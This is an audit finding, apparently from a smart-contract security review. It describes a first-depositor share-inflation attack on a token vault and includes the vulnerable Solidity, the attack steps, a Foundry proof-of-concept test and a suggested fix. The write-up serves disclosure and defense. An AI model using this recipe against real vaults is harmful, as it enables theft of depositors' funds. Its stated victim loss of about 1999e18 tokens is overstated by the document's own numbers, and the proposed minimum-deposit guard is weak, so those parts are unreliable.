Root + Impact
Description
## Root Cause
The `_convertToShares()` function allows the first depositor to manipulate the share-to-asset ratio through direct token transfers, causing subsequent depositors to receive drastically fewer shares than they should.
**Vulnerable code (lines 144-155):**
```solidity
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets;
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}
```
The calculation uses `balanceOf(address(this))` which includes tokens sent directly to the contract, not just deposited tokens.
Risk
Likelihood:
Impact:
Impact
An attacker can make deposits extremely expensive for all subsequent users:
Attacker deposits 1 wei → receives 1 share
Attacker transfers 1000e18 tokens directly to the vault (bypassing deposit)
Now: totalShares = 1, balanceOfVault = 1000e18 + 1
Victim deposits 2000e18 tokens:
Victim loses ~1999e18 tokens worth of shares
This creates a Denial of Service where normal users cannot participate fairly.
Proof of Concept
## Proof of Concept
```solidity
function testShareInflationAttack() public {
vm.startPrank(attacker);
token.approve(address(vault), 1);
vault.deposit(1, attacker);
token.transfer(address(vault), 1000e18);
vm.stopPrank();
vm.startPrank(victim);
token.approve(address(vault), 2000e18);
uint256 shares = vault.deposit(2000e18, victim);
vm.stopPrank();
assertLt(shares, 3);
console.log("Victim shares:", shares);
}
```
Recommended Mitigation
## Recommended Mitigation
Use a virtual offset or minimum first deposit:
```solidity
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
require(assets >= 1e6, "First deposit too small"); // Minimum 1e6 wei
return assets;
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
require(shares > 0, "Shares too small");
}
```
Or track deposited assets separately instead of using `balanceOf()`.
```